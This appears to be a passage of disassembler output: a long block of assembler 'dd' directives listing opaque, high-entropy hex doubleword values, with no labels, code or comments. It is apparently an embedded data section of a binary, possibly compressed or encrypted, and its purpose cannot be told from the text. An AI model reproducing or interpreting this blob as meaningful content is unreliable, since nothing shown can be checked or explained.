		dd 30F6A009h, 2A55DAF9h, 551C3384h, 0A5FDC70Dh,	0E8FE1C41h
		dd 0E69C5A40h, 3F3A00D5h, 737795D4h, 0B628F09Fh, 0DB3DBA5Ch
		dd 895B9672h, 68605089h, 0E7109DDFh, 0A425B58Dh, 0E86D55C3h
		dd 798FDCE0h, 0B26B64DEh, 79F1F5DDh, 5E5BC4Ch, 0BDB58985h
		dd 0C288BD10h, 5516820Fh, 0F5C1F35Ch, 0ECC0CA84h, 521D00AFh
		dd 5A99179Eh, 12F25BBEh, 0F6812051h, 0C9B9FCA7h, 0BD29CB22h
		dd 0C063A8FDh, 49F8FC13h, 7320098Fh, 0A2F699CBh, 6C7ECA0Ah
		dd 0EB00AB43h, 0FC5F82F5h, 0F4855A09h, 0C0092B83h, 41619D0Bh
		dd 0CA7ABAD7h, 0B2DF000Eh, 1F702072h, 0AE430286h, 0E780FB18h
		dd 33AD3160h, 98D1C228h
		dd 0E983D002h, 46F47504h, 1CB3E8BCh, 80FA53B0h,	4D5F5564h
		dd 0AD3EE515h, 0A44E0518h, 3FB686F9h, 0CD5DD1E0h, 9AC44C05h
		dd 3CFC8B13h, 58880D84h, 0B48C7FEh, 29958B58h, 0CB4F22Ah
		dd 8D0D1101h, 2897654Ah, 0D350F9D3h, 318E0C2h, 0FA08DEC1h
		dd 5819E76Ch, 21C443D6h, 0FBE5FEB6h, 0C0E1C832h, 0B9041590h
		dd 17690868h, 0A4912026h, 0C5E97666h, 37D7B852h, 0B08FA29h
		dd 79FC890Fh, 65B54D65h, 0B54CD3C4h, 2A41704Fh,	0F07BEB33h
		dd 6139053h, 4530B8F8h,	6AEAFAh, 1C25F42Bh, 0D2A429F2h
		dd 90E7ED25h, 0B661E54h, 91AE9AC1h, 4AA80779h, 5F8025F2h
		dd 6EE14EFFh, 2DA0ED3h,	0C2260FC4h, 0F416FF66h,	0B509618Fh
		dd 4071C271h, 0C4B11314h, 0FB4A0492h, 801440Fh,	0DC63AE9Eh
		dd 58628400h, 16EEE0D6h, 4604C70h, 0FCBE15C0h, 5000234Bh
		dd 0A97FF60Ch, 3CAD2C18h, 0CE26DDF9h, 5EF66BDDh, 6275E580h
		dd 26F6F05Fh, 4260B533h, 1B60615Bh, 73AC2D4Dh, 0CF1A034Fh
		dd 0C317EDC9h, 5BF8E14Dh, 0F5723EADh, 0BD845DB3h, 0BF000E6Dh
		dd 242153CFh, 746E604Ah, 0A04C6903h, 30B2F1DCh,	2A2EED49h
		dd 1BB0A88h, 77B1818Dh,	6F04E180h, 0AC92BADBh, 0BD89A010h
		dd 28E5B24Dh, 78FEC90Ah, 0D9D3BB32h, 7D6325h, 27843010h
		dd 1BE4B49h, 86400CDAh,	3F5F445Eh, 0BB9488h, 34A6B2EBh
		dd 0F17A48Ch, 0CC5C5D79h, 9D45311Bh, 31DC33F8h,	0D8FEBB2Ah
		dd 0CE0087A0h, 7282FAC0h, 98C58550h, 13012043h,	8B609009h
		dd 0D88A81CBh, 0DD705061h, 0B3527DA8h, 2BF07BBBh, 0BF506FC6h
		dd 851C5B4h, 3D55205Fh,	0FA682C40h, 0EACA040Dh,	0AC515250h
		dd 55BCA0Fh, 24048100h,	254F63Ah, 0A329BF15h, 0BDC11E82h
		dd 7AFA2A35h, 1F5C002Dh, 0BEE0C6D2h, 3F1A1381h,	0AD8EA0F9h
		dd 8BDB1E4Bh, 0D577E7C0h, 0C20266D1h, 0E9F7C10Dh, 3B8952BFh
		dd 0EDA8D381h, 68916BF2h, 0A78605Bh, 0EADF059Eh, 472709Dh
		dd 29B1ACh, 7E38057h, 0A4C7705Bh, 0F9DAD6CDh, 0B58B0D93h
		dd 6E3A7F95h, 0A0970B95h, 39530431h, 8516F7EDh,	0F068A529h
		dd 0DC70C09h, 32A989D9h, 9737776Bh, 0FA8B6901h,	8AF44689h
		dd 7DB713D8h, 50E40E96h, 0E0E1E697h, 190F86A3h,	0B6D52852h
		dd 0FF02C62Dh, 0E5D093B5h, 680101F2h, 0A22C45FCh, 4E48EEB7h
		dd 0F227BE03h, 705B5B5Dh, 0C71D3593h, 0F2CFC812h, 0C40E52E6h
		dd 5DEC52DEh, 4B1A8D89h, 3302B366h, 0B9C5ED78h,	0F298FD6Ch
		dd 0C91F5D75h, 0D10354F2h, 2A67A53Fh, 16CF61C4h, 0B9905F5Bh
		dd 0C58E2FAAh, 54BFA8D6h, 842B57h, 1819A7BDh, 6975D27Ch
		dd 4A283D35h, 0F6C312ABh, 7211E0C5h, 4D9CC9DDh,	0A23BDA5Dh
		dd 60B7CFEBh, 166DEBAh,	757BA009h, 85668452h, 54618782h
		dd 0F97CDC5Dh, 5BEB8000h, 26E2AABFh, 85C72C0Fh,	892F6CB9h
		dd 42618D2Eh, 94A85192h, 1F297510h, 5F96D58Ah, 96E5D510h
		dd 112F484Eh, 43E9D80Eh, 0E8B5FD16h, 5EDC0297h,	457ED5C2h
		dd 0D71BE60h, 5C305080h, 4439460Ch, 0E8C1018Bh,	20E530Ch
		dd 3FC4CE0h, 0ED43584Ah, 7736EBE7h, 0E648136h, 1B8C857Bh
		dd 0D0282950h, 58331821h, 57420113h, 0C080401Bh, 59BD2B09h
		dd 0C034541Dh, 0A6A9A5A1h, 0BAD33100h, 0FDB7A77Bh, 201C90C1h
		dd 5B5C0EF5h, 0B85A182h, 0FEBA2C14h, 95EACAAh, 7D4F09DCh
		dd 0B8601657h, 17981B88h, 0BF0F3180h, 13B7DF4Ch, 12960C6Dh
		dd 600CC0F6h, 911AF281h, 1990C87Fh, 0B22E4920h,	0DDA99DE9h
		dd 62D1D10Fh, 412C118h,	5B1CEAC7h, 0DE507CA5h, 123DF3Fh
		dd 5DB30E3Eh, 202E50E7h, 59B099F4h, 14008CFEh, 949A277Fh
		dd 38CB4AEFh, 48F51996h, 340FC0F5h, 0F06A8024h,	1A534B7Dh
		dd 7830E171h, 0C993A0D9h, 177821Bh, 228EEBA2h, 8067854Dh
		dd 282A56A0h, 67B69D18h, 0B0CD2E32h, 0D252047h,	0B5BD3317h
		dd 4A86D0B4h, 41F188C4h, 2A2C1F41h, 0E0EEE6D3h,	7C83B6FBh
		dd 0FFB7B5C2h, 0ED72933Dh, 8050E7F3h, 48025F65h, 0CA810870h
		dd 36C690C5h, 0F264B693h, 0DB3E006Ah, 0B839E81Ch, 1BAF009Ah
		dd 0DCF92AE1h, 914833D8h, 20500E42h, 0AB69EEBBh, 0C73D0267h
		dd 76BF8BC0h, 690ADCF6h, 0AD94B3EBh, 6F2DB81Ch,	4DC842CFh
		dd 0FA261C7Eh, 15713D2Bh, 0B5399218h, 9A791EBFh, 0B5B23A2Fh
		dd 0D5B580ADh, 3893A797h, 8BBE7209h, 899DF8F9h,	9D2550D2h
		dd 91950889h, 65A37E5Eh, 40E36D2Dh, 97264592h, 0BB66510Eh
		dd 55569B15h, 6E7EA864h, 0FEC70025h, 0AA7D4815h, 29B1045Ch
		dd 120989BDh, 0C81AA04h, 0D6D5EDABh, 9E8FFADBh,	0C12EA8D3h
		dd 8ED8529h, 0D67E9603h, 79C3874Ah, 0D2B6CCFEh,	0ABE1E4E2h
		dd 465C6CC5h, 0A1B314BCh, 0BD51F99h, 0DEB9DEA5h, 670C8AE6h
		dd 6AE6BC84h, 0FA2E4AB5h, 0F32A8BCDh, 4A7C145Eh, 6AEEA4FEh
		dd 93120938h, 79D15DF5h, 10CFF814h, 22007A5h, 0B0535844h
		dd 1EDD203Ah, 16845B4Ch, 57F73031h, 5BCA41A0h, 0F960DB1Ch
		dd 810F6145h, 0C62D83F2h, 634287CFh, 0D5B4E1D3h, 97702E78h
		dd 0FD8D17Bh, 202B906Bh, 0E90E0E41h, 32FFF38Ch,	0A31D204h
		dd 1AE0CDABh, 0AC5AC0FEh, 5C51FB46h, 0F7090DE2h, 179EB39h
		dd 220299A6h, 77F88B50h, 8D9D26A2h, 48B38A5Ah, 6E95C0D2h
		dd 0DB8017D4h, 4B7FEC71h, 36E9A3D5h, 35345CBCh,	19C3C8EAh
		dd 8CC81220h, 4ECEE640h, 768B25DAh, 540019C4h, 0D4350E68h
		dd 723E5EBh, 3E478F0Ah,	600590EFh, 6E4B1634h, 5090A7C0h
		dd 0C39DA352h, 8986D231h, 0DA09053Ch, 0C84F25ACh, 0EC003949h
		dd 0CE11F616h, 5CDBE6EAh, 0D902BE90h, 3FDD6C33h, 16078457h
		dd 0EE0D8412h, 0C90F786Eh, 7BEECE23h, 2A445FEDh, 30B462E6h
		dd 570C5F2Ah, 0E4F7EF2Fh, 5A78003Dh, 0FD432BD7h, 0C6973BF5h
		dd 9DA44B3Eh, 1C6A3BE0h, 0FDDF5216h, 260896Dh, 11D8998h
		dd 0E4D1FF61h, 164B759Dh, 0A15EC78Eh, 80A51ED0h, 0B940C57Ah
		dd 8D0F2751h, 0D9858C59h, 0DAE1026Ah, 2D188D6Fh, 0E285A8B7h
		dd 4D3102F8h, 2790CC47h, 0D325FCC5h, 0CC865167h, 51000289h
		dd 0D3D977CBh, 972EE982h, 9648B01Ch, 339B5AA3h,	4B50F8C0h
		dd 1A977037h, 8126358Eh, 0CC923AB6h, 23AC41EDh,	2D926F9Dh
		dd 403DDC90h, 27525CDDh, 0ADAC370Eh, 456F6079h,	641871h
		dd 0A35E1FB8h, 0F88A9AEBh, 60505F09h, 0A0D157E8h, 0BF0B950h
		dd 8B0F5A77h, 296EE8DEh, 0C0104D90h, 503B1F7Bh,	24067B97h
		dd 7BFA2DC0h, 99357F95h, 69B2B0A5h, 0AAD01FC8h,	0E29FD291h
		dd 0AABD92F0h, 40162CA8h, 4405B1E6h, 70EE2605h,	8EBF66BBh
		dd 8B6AEC3Dh, 84B3C780h, 22AAA51Bh, 0C15CFB2Eh,	89413DC4h
		dd 7A07A1B5h, 6C5DC50h,	70E6F599h, 53FA5C38h, 17021510h
		dd 0F58D71E4h, 10E13E88h, 0BD095526h, 9ACD712Dh, 9D7670Ah
		dd 4CA5869h, 0AC862CBBh, 0D7B1B80Ch, 8AC18502h,	28AE5CFEh
		dd 53AD4437h, 742EE2C2h, 27B45C5Bh, 0E81C13F0h,	1A42B509h
		dd 7FC82B61h, 4BE80113h, 3900D52Fh, 910E2CA3h, 1936BA0h
		dd 647E7BCh, 7F0F4575h,	0E862E423h, 1778D424h, 0B5FFE8Bh
		dd 0D5F8D17Ch, 5A600B40h, 8AD20FCh, 9D00AEEEh, 0E181802Ch
		dd 9949EA1h, 0E9615A6Dh, 7588E271h, 2DA42C29h, 0E75672CAh
		dd 95C311Eh, 0C11E3h, 4E7A5DACh, 493718Eh, 3402EA42h, 0AA0184C8h
		dd 0ECB46052h, 1C298B11h, 4C1AF145h, 13DE5717h,	687E7E49h
		dd 3F488036h, 0C2D4A6D2h, 8A792302h, 5C62C5CCh,	232644EAh
		dd 85A5DAD9h
		dd 7AE8FE22h, 0BD09FB48h, 54E4035Dh, 80227683h,	98F94B01h
		dd 0CD4110DDh, 0B6007F72h, 0C53CD26Dh, 0A538CE12h, 29F74E6Ah
		dd 812CDA5Eh, 0AD58DF9Ch, 2EC9C841h, 0A042B902h, 1019D311h
		dd 12A4D381h, 0E17C1E76h, 0F03526AAh, 9826738h,	0B82DB7FCh
		dd 69100D9h, 9E499940h,	2DBA1CDAh, 8CD8295Bh, 8F1F4B28h
		dd 0D5E065C1h, 80DFC755h, 5855C381h, 6E034A0Ah,	1150069h
		dd 0E5AE6675h, 409D4F31h, 0EBCF8136h, 614B6F3Eh, 9139C089h
		dd 416BD6h, 9991199Eh, 2583C90Ch, 0D9C620B3h, 179C8495h
		dd 0E0DCB212h, 9708E5BDh, 6D4EB41Ch, 0D9B032B7h, 1907074Fh
		dd 0B8C0F380h, 807A730Bh, 0ED6B9AECh, 23008F26h, 0E64E0274h
		dd 9148B27h, 5EEEF8ACh,	5BAFD573h, 0D04A5141h, 800C1345h
		dd 0F4E1FFEEh, 8E0E4B21h, 90B5227Dh, 2A912B4Dh,	78011013h
		dd 512A568Ah, 9C360D7Ah, 871EE0B0h, 96FA6C04h, 6EAE60EAh
		dd 51D4010Dh, 90CE5725h, 3871A32Bh, 465F9208h, 39301BE1h
		dd 190297FBh, 59605160h, 58801A0Dh, 61F7258Ah, 0DBDFB69h
		dd 0B2A8F77Dh, 13B5BD00h, 77F34130h, 743A9571h,	5B4084EDh
		dd 4B221DBFh, 0E0C2AC10h, 0C8BA6Eh, 49594F4Bh, 0B52FAB45h
		dd 23EA0D09h, 8B1871E1h, 0F4E2FA8Bh, 86D9837Dh,	0E6BCF40Fh
		dd 468F2380h, 681CCB94h, 0A0809C4Fh, 5A2471B9h,	2FB49458h
		dd 23C02A6Dh, 25DE5E80h, 465009E2h, 810F01E9h, 0E6DF606Ch
		dd 96716919h, 5B9DD700h, 1A4944h, 0F1BF5FF7h, 62FF123Ch
		dd 0CBD5D117h, 237221Ch, 851F03A3h, 0BF159608h,	529709A2h
		dd 9D670492h, 0B94D8CEBh, 2BEE9D33h, 1D699560h,	82491FBCh
		dd 0E1C8405Fh, 3FB1DB59h, 0BBF3C506h, 84409CE7h, 8B08C622h
		dd 57EB51F8h, 0B2169E87h, 53380Eh, 57CC1CDFh, 14AA9EAFh
		dd 1689FD7Fh, 8E48CB7Eh, 0CD7CDA12h, 0ADCDA440h, 0E88D12B0h
		dd 98FA340h, 7479BD31h,	0C91FBE3Ah, 9D4B3E28h, 0A80C2961h
		dd 0AC2100CEh, 0BB668077h, 0E9248626h, 7AB93F5h, 0D5CB78h
		dd 0A55154CDh, 243DBD2Bh, 97DBB788h, 1225861Bh,	0BF5CC6DEh
		dd 0ACC0F0EDh, 1252D6FAh, 0ABB0C849h, 7EAC1D34h, 0E5139CD0h
		dd 4A3EF20Dh, 6E3A63CDh, 0E8387C02h, 0DDF88651h, 206407FFh
		dd 3BED2E05h, 36C062DBh, 0BF9ECFDCh, 53D9970Bh,	0A8F19B2Eh
		dd 74593499h, 0AC1D3FB0h, 6FB4F689h, 0CDB74594h, 8A474037h
		dd 930B56CAh, 825FCBF9h, 242C3536h, 44C7B9B7h, 0A898969Eh
		dd 0BB0C90BDh, 50280FDEh, 0F8D658B7h, 5C098745h, 431990D0h
		dd 0C2B43A6Bh, 0E2FE8A05h, 49F381E9h, 5C5B0218h, 0EB4C69C3h
		dd 0EE98D10h, 4FB66802h, 0B2555318h, 40FF7Eh, 4C3F4924h
		dd 31A6DE07h, 0F04F80E1h, 0A3BE4DCDh, 0D9AE640h, 0BE980009h
		dd 0DFC1A589h, 7F5816D7h, 0C4BD2581h, 0A3B7B5D7h, 9AC66F92h
		dd 9C920E8h, 4AB73A90h,	8D9D4242h, 6B2F1800h, 162384h
		dd 8A3E0B60h, 0B55A29DAh, 976156E4h, 1087366h, 2524259Dh
		dd 0DA87E65h, 14D20570h, 5D8BB8A2h, 0F693F4h, 0E795BF38h
		dd 52E954DEh, 0D8957B97h, 8D0062A3h, 4420C612h,	0B13B89FCh
		dd 451D8088h, 48066027h, 7BC9B401h, 5C3058ECh, 0E4A03A2Eh
		dd 86E067A6h, 38902B22h, 7EF9604Bh, 8EB14380h, 14976157h
		dd 679F62AFh, 4EE6D88Bh, 6C68721Fh, 1B45F9C3h, 9B6BB8C7h
		dd 0DA01223h, 7C0D2CA7h, 7CFE23A1h, 0BAF0D286h,	0A0389709h
		dd 9D09F381h, 7105EE76h, 0CF80840Dh, 0D38FB8F5h, 58375986h
		dd 0BBC0A950h, 3D3EA524h, 3CD99748h, 0BCD45D34h, 88860982h
		dd 0E988CACh, 21007ABEh, 40AEDBA0h, 77F1C8h, 0F670412Fh
		dd 0B5FFA1FBh, 601C448Dh, 2B151C8h, 715A9A55h, 9D5C8987h
		dd 70F8F369h, 3207C2BDh, 0FC377709h, 81B58950h,	45BA9717h
		dd 0A155F385h, 0A1342B4Bh, 0F2ADD70Eh, 104A1E7h, 281C71B5h
		dd 4E79081h, 8312B7F2h,	0BCECFDC2h, 49F10742h, 0F28D34ADh
		dd 377C7D47h, 0AC20500Ch, 0B395D209h, 15EC7F63h, 95D5F295h
		dd 37574A92h, 0FBD0120h, 60655983h, 1F4519F4h, 946429F1h
		dd 8BFB97F8h, 4473ED0h,	0BF0F7B67h, 421E99D8h, 0E020111Ch
		dd 0C72824h, 127BA7EFh,	2E50D514h, 6010F806h, 209CCE49h
		dd 5F7125E1h, 912835BFh, 0A853801Ch, 3AC2A27Eh,	0D196C9F1h
		dd 40D61331h, 0C7BB504Ah, 30499299h, 0FFC264B1h, 5B04F265h
		dd 78F60900h, 3E040D6h,	56D165A8h, 83D03928h, 914BB490h
		dd 0E74C688Dh, 0F3D00287h, 0E28AEF54h, 47514B5Ch, 0C91AC80Fh
		dd 0A46A715Fh, 96260A32h, 0AFD7805Dh, 8C83941Eh, 6822C500h
		dd 0F8893B3Ch, 0EA983825h, 507BCC01h, 2A96DA8Bh, 2760A705h
		dd 8DB8435h, 0CA5D7CC1h, 1A8C3AEFh, 901409BBh, 6571592Dh
		dd 78C9E3A6h, 457EAA19h, 0DDDD10B7h, 0F1E91A56h, 4D0045E8h
		dd 0A0D01E93h, 175426B0h, 84D88A70h, 0A24EAC55h, 0BF662041h
		dd 8C4E89Eh, 4EB816D8h,	0C64EA0D6h, 3CDB2AE1h, 9F8E94C0h
		dd 0C75AD525h, 8DEFD534h, 373D2B27h, 80D89A2Eh,	11F9A9EEh
		dd 0E9FD01CFh, 2D850987h, 7F80040Dh, 7E5B3A71h,	0F411246Ah
		dd 7A8F2D8Dh, 0E2EAC105h, 0CEDA025Dh, 5D8D0C9Dh, 8B917643h
		dd 4A9141C1h, 309D2B56h, 0F5A8F629h, 85E1BC0Ah,	350884DCh
		dd 0FC901325h, 91FA80C6h, 224874h, 5A03A10Dh, 61393360h
		dd 2E138E4Fh, 2C82DE13h, 6FA0230Ah, 9C3BCA0Fh, 0A76EA57Bh
		dd 855114A8h, 0FF37AAA7h, 0D357D007h, 604E5F00h, 20119053h
		dd 5E480EB5h, 0B82BC0CCh, 0F40DE0Ch, 530F0D18h,	0C145FF23h
		dd 79111B98h, 61683801h, 814FBB66h, 0CDC0495Bh,	0BC68A25Ch
		dd 8BE1EA50h, 719D609Dh, 40618130h, 1F5026D2h, 526E6BEFh
		dd 27C43701h, 9280D209h, 0C1E1F962h, 33B86929h,	0AB0AD70Ch
		dd 4EF3FE1Ah, 0E49BCFBh, 81506402h, 5D2E38D2h, 8F3755EEh
		dd 502BA509h, 0AD40D309h, 3AFEB859h, 0D3019AD4h, 950929ACh
		dd 166F3DF1h, 1A89E19Dh, 0D6EAF331h, 0BC6625DAh, 4A856397h
		dd 728ECD35h, 0E2430555h, 9000F53Ch, 8F57AC81h,	6A3902CAh
		dd 0D1FF4E58h, 12DC787Ch, 0E2FCE294h, 0EF8D898Eh, 0AE6D6068h
		dd 3D7652A2h, 6AF99C09h, 0DC197602h, 0D4C6CE00h, 8DF82122h
		dd 4096B420h, 99BA590Eh, 251AE705h, 1CC7FEE2h, 50472E14h
		dd 16071951h, 45B752Fh,	0B6240485h, 16FBE53Bh, 0E9456050h
		dd 16970E17h, 5030209Ah, 0A6F01097h, 28F80116h,	2FEAE15Bh
		dd 556E7A3Ah, 0ED778F02h, 0A85CD5BAh, 0D4D65EE9h, 20B07159h
		dd 84905A08h, 128CFE6Ch, 4470055h, 44DDE7E2h, 0AF0072DBh
		dd 0D6C2B983h, 26EFA82Ah, 25205690h, 0B95BB6A4h, 0B230925Ah
		dd 175B208h, 9CFC0949h,	2E23CD6Ah, 1923476Eh, 50BC0E00h
		dd 972E56EFh, 0D9314319h, 0FE976A59h, 0DC800FD3h, 5D8D2943h
		dd 3F2CC9E5h, 23CC58D4h, 29760Ch, 0E6104E24h, 0BAFF1AC1h
		dd 0A74BCF7Ch, 0B1FA5E98h, 12D989CCh, 0F65CB077h, 0F4ED0061h
		dd 3260D337h, 7620EB6Fh, 0FAB702B0h, 71E470E6h,	0D39A525Ch
		dd 9C7D639h, 0E47C1F35h, 3458E45Bh, 4395C8B6h, 5C118A26h
		dd 0FA8A4263h, 9D33BEC0h, 28C2D54Ah, 2C675CF5h,	62FEA522h
		dd 4AD98E6Ch, 89EAC12Bh, 0D1640718h, 13D659C7h,	0C381042Dh
		dd 0EBE92F0Ah, 0AA6DD6CCh, 17061A6h, 0BD295982h, 315C1195h
		dd 680C44Bh, 417EB947h,	0A7961AB1h, 14206925h, 0CBDB315h
		dd 65F18D89h, 0B5C0B9E9h, 7E34BB38h, 57A532AFh,	28A18C0h
		dd 227AE4B7h, 0A5F22384h
		dd 440B1BA3h, 0CB0C79BDh, 0E6C45E4Eh, 28D201B9h, 0AEE87B55h
		dd 8A1B602Eh, 659C1EDCh, 0E2B200DEh, 0CD927595h, 0B7A0D45Bh
		dd 0CFC90701h, 0A61BF189h, 0DE73A651h, 0BB0454E2h, 24FE795h
		dd 1C262B8h, 0DF48D98Dh, 0A5AEFB9h, 9900577Ah, 7563F7FEh
		dd 0B9124CF0h, 0D1F67305h, 0FC6D9516h, 60FC8145h, 57100BE8h
		dd 39009B49h, 0DCFD68B9h, 9D7C2F3Ch, 8B5FEE40h,	0FC61C716h
		dd 92E076B6h, 9F07881Fh, 806A31BFh, 26BA3A40h, 0C02B2703h
		dd 0CE7078D3h, 0DE7EE1BAh, 1D0C92Bh, 95BE3A9h, 66983D2Eh
		dd 56A7F09Bh, 0C9B0736h, 54E78052h, 577EB95Bh, 5F9BA022h
		dd 58789D53h, 9521F520h, 1253AE1h, 9B3C5F61h, 31391CD8h
		dd 9566CE95h, 9B00C837h, 0B643CEE8h, 8914FBDh, 0D6250E11h
		dd 5BF909A4h, 755AB471h, 0A49E3966h, 8B5104DCh,	0C139A48Eh
		dd 1FD1Ch, 0E1E5B529h, 78E0382Eh, 0BDBA9497h, 32105241h
		dd 4D5698F1h, 0A6CC9508h, 0A5E9719Fh, 1464C56Dh, 30E72D63h
		dd 17ED9230h, 0F5403394h, 1B47A2h, 0C77D3FD9h, 21C15EAh
		dd 0F3D6618h, 8023B1B2h, 0F1A2E1FFh, 60808954h,	0CC38C281h
		dd 0F0264EF3h, 14976119h, 4732CEBh, 6500F6F7h, 53EE074Eh
		dd 0B38B0F98h, 652D1CE9h, 541112E7h, 947444h, 456B725Fh
		dd 0D8A2EC65h, 0F427C902h, 5E7F4F41h, 0A4FD5126h, 6016C3A9h
		dd 9CE110E6h, 9E872E57h, 4923FE0Bh, 820F2082h, 35CEE92h
		dd 70D7FB25h, 0E00114BFh, 0BEB2733Ch, 0C4507263h, 251E5EBBh
		dd 23E960A9h, 0A2273BDBh, 45BE66B1h, 0F17D812Fh, 0C5312A61h
		dd 15E8BB53h, 5B3525D1h, 35A5EF5Bh, 59013F0Dh, 8F9DA378h
		dd 0DEC12A90h, 0CE287739h, 0B851FD4Bh, 0B8251A58h, 0F0823E76h
		dd 68000A01h, 4F7B9BD5h, 0EBF2C850h, 0E7FE0901h, 2C3A90A9h
		dd 309D1F30h, 0E68A3CC3h, 955F0Ch, 64982AC5h, 78EDB350h
		dd 0E009879h, 59F0A8E5h, 0B3870FC4h, 23A53884h,	9A95884Eh
		dd 0B0217886h, 31024041h, 72BCBD7Dh, 0F7416AA5h, 0D0801BB7h
		dd 7F49636Bh, 0EEB70902h, 6371B903h, 0AF84B725h, 6625BFFBh
		dd 0BE09645Dh, 0BD76AB0Ch, 996BBFF2h, 37F5E9B7h, 6B0901EDh
		dd 2C9E3AAAh, 0C8380B9h, 919393Bh, 0D476C12Ah, 840098F9h
		dd 6A98A556h, 800F3731h, 0B95B0417h, 44B9D342h,	400016A8h
		dd 0BEA7E20h, 0C403C99Dh, 0E90446DDh, 0C5B8DAh,	42AF8BC0h
		dd 0F0C4726Eh, 78C8505Ah, 2DB33B5Eh, 0E1931E83h, 69B86632h
		dd 5007DC5h, 4B7BEE7Fh,	6A8A0930h, 2D6D6ADEh, 0F5700BFBh
		dd 0E5A00C9h, 0FF44F157h, 8A25D8A4h, 0B77BC6DDh, 0D416B337h
		dd 8668B6C0h, 366927D5h, 0FCB9445Eh, 61F87E12h,	0D679CA41h
		dd 0E64C3676h, 907A0557h, 0BF27E025h, 12293E08h, 6B6CE55Bh
		dd 0D7A049B7h, 2C7D214Eh, 0B501C404h, 91202D1h,	6864605Ch
		dd 0E25E13BFh, 40D05652h, 0CA353CA2h, 543E7725h, 0DB874295h
		dd 592F00D7h, 3B61585Ah, 9ED8BB90h, 0D3812C00h,	10E37F13h
		dd 13E0E9Bh, 9DBA60D7h,	0F939614Ch, 169754B8h, 78709386h
		dd 1F00D003h, 171AE926h, 759D2335h, 0A91597E5h,	66018C4h
		dd 500287D2h, 0AD9D8B80h, 0BE4CD532h, 2C8F0F1Ah, 43DC5C0Dh
		dd 81B81427h, 4F00CE1Ch, 0B5419A22h, 0B62E388Fh, 3DEC40BEh
		dd 0A0007B4Dh, 0B8BBD635h, 1B2DABCh, 8A5F9C3Fh,	0D6EA97F2h
		dd 0CB75A95Ch, 7A035E51h, 0F80A2184h, 9D0BFD91h, 6600A937h
		dd 0E0EE02D4h, 96424C16h, 0B2A6DB14h, 0F80056CEh, 5E2C53E2h
		dd 34CFD201h, 655C1E67h, 22728B2Bh, 41E4804Fh, 0E6179107h
		dd 158273Ch, 4E292520h,	787A9B00h, 9D016D63h, 7F7D67E9h
		dd 0C870CDD6h, 0EFA29D8Dh, 1B43FEBBh, 0AC9BD48Dh, 47F8D9E4h
		dd 0B72E132Eh, 9DB3E056h, 1205775Fh, 0C7E58529h, 24699A4h
		dd 2B8A8F83h, 91A13757h, 80988019h, 6139E4FDh, 69B5F27Ch
		dd 50779E12h, 4ED2116Dh, 2B231DCh, 1F5AB0C4h, 1AC465C0h
		dd 0EC603E8Dh, 0FC034B1Ch, 0A79C9531h, 803FAA3Fh, 0F3EE7BDh
		dd 0CBD7FAh, 3DB1494Dh,	0EE035520h, 1ACC774Bh, 0B990A057h
		dd 0D5C5DD0Bh, 2B82CDDEh, 6D5C49BDh, 7BA974B7h,	6A14AC01h
		dd 0BD8A006Ah, 0E518A81Dh, 4BBC325Ch, 7ABF0B94h, 1A660EAEh
		dd 9C35C1DEh, 8A88506Dh, 11203FDh, 60D440Ah, 7307253Ch
		dd 0B8387ADBh, 0ED0765ACh, 60B4A270h, 0A0595312h, 0AF0F1976h
		dd 0D1FB00C6h, 61C2342Ch, 0F31D8166h, 5A4113Fh,	6ACCE160h
		dd 0A4F0029Dh, 14DC55EBh, 0D12E7D5Eh, 0F5E504DCh, 0EE03BC33h
		dd 7CB8EB24h, 2AEF8061h, 7B322FB2h, 49765EF8h, 859137F5h
		dd 0C1851272h, 2AF12721h, 73802E9Eh, 0D380339Ch, 63C84E4Bh
		dd 1EF7293h, 98ED1DA0h,	0D40C7D22h, 320919B1h, 0F8F385CEh
		dd 9A5F4E33h, 0C01BC8A2h, 2178F75Dh, 0D1CC360Bh, 2F83D61Fh
		dd 90DF461Ah, 6F40B8h, 0B820AA09h, 1EDE222Bh, 3836B502h
		dd 772CC23Fh, 2AD484h, 0B353505Bh, 24F39119h, 1700F4ADh
		dd 71A287C4h, 52E44BFFh, 0FC257BBFh, 3DD787EAh,	6C600BC8h
		dd 0B5C164D6h, 8E2B0C0Dh, 8AAD4BEFh, 66B06846h,	807BF83Eh
		dd 0E2C20D02h, 0F8967645h, 690E958Fh, 1A2C16F2h, 0BF5FE806h
		dd 0B41D3DC1h, 25FE4195h, 2FA5C74Eh, 76818834h,	0EE042F8Dh
		dd 0E401B98Dh, 8E621979h, 93B31693h, 3E3E60A9h,	5FB744E9h
		dd 0BD3BA0FFh, 9FDD1C4Bh, 0EA2D246Bh, 10212080h, 93690033h
		dd 0FB1F3BBAh, 0B696BE18h, 249ADA4Fh, 94BC5FEAh, 32746A2h
		dd 0F2B1C9D4h, 0CC92342Eh, 0EF007902h, 9EC10299h, 986244h
		dd 0DA1DA7F1h, 9CD61C29h, 0C65F38F6h, 65A2B9B7h, 5C8DE25Fh
		dd 0AED85A99h, 0CDBD8915h, 0E3E9078Bh, 0B719FFF2h, 82AA9C3Dh
		dd 458D09A3h, 0C3A5B8FCh, 3007B283h, 951A0960h,	527925F9h
		dd 38FF071Dh, 0E069A9BEh, 7DDD051h, 0B4C2F709h,	6B295661h
		dd 60503FDBh, 39752722h, 0B5C31A7Eh, 56856801h,	2902D62Dh
		dd 8B463D67h, 0F4A65CFEh, 0EB3EAB01h, 3F2EE1B7h, 9589C574h
		dd 9F807EC4h, 1F4A607Eh, 0F4DF4881h, 9EDC13Ah, 37B8040Dh
		dd 29BCA04Dh, 7D96C705h, 0CEE4A018h, 509039DDh,	0D0F70277h
		dd 6A4269C7h, 850B375Fh, 4FD5449h, 2512C9B9h, 5E29F992h
		dd 0C173E90Ch, 0E27A6170h, 0D4B404A5h, 90698589h, 199D0BBFh
		dd 33DC134Bh, 0CAD14BFFh, 0CFE42F01h, 674A613Ah, 0C02F28C4h
		dd 0E6D8B949h, 25BB3B99h, 6A130C3Fh, 0B828BD02h, 0C5D8022Eh
		dd 0C0D07E66h, 0A320A756h, 5E321125h, 99C6C03Ah, 0CDE0F1DBh
		dd 0D28ED100h, 82FDFEDFh, 7D100A0Bh, 0F1FFA2h, 0B3BF5352h
		dd 254EA321h, 0DA41E9F1h, 0C12BEAC4h, 6B6160D8h, 0DEF0E0E6h
		dd 0B70483ADh, 0FC8F39E9h, 95D56AFDh, 620249ACh, 5EDF72ABh
		dd 5025CE3h, 828B1CC9h,	89051687h, 417F908h, 0BC0CD9E9h
		dd 6088B158h, 0E9203A06h, 0BB66090Bh, 347BF40Ah, 52BEF3AFh
		dd 93B4075h, 0D24D59B5h, 0DE8B900Fh, 0F5FBD2DCh, 76CA2A3Ch
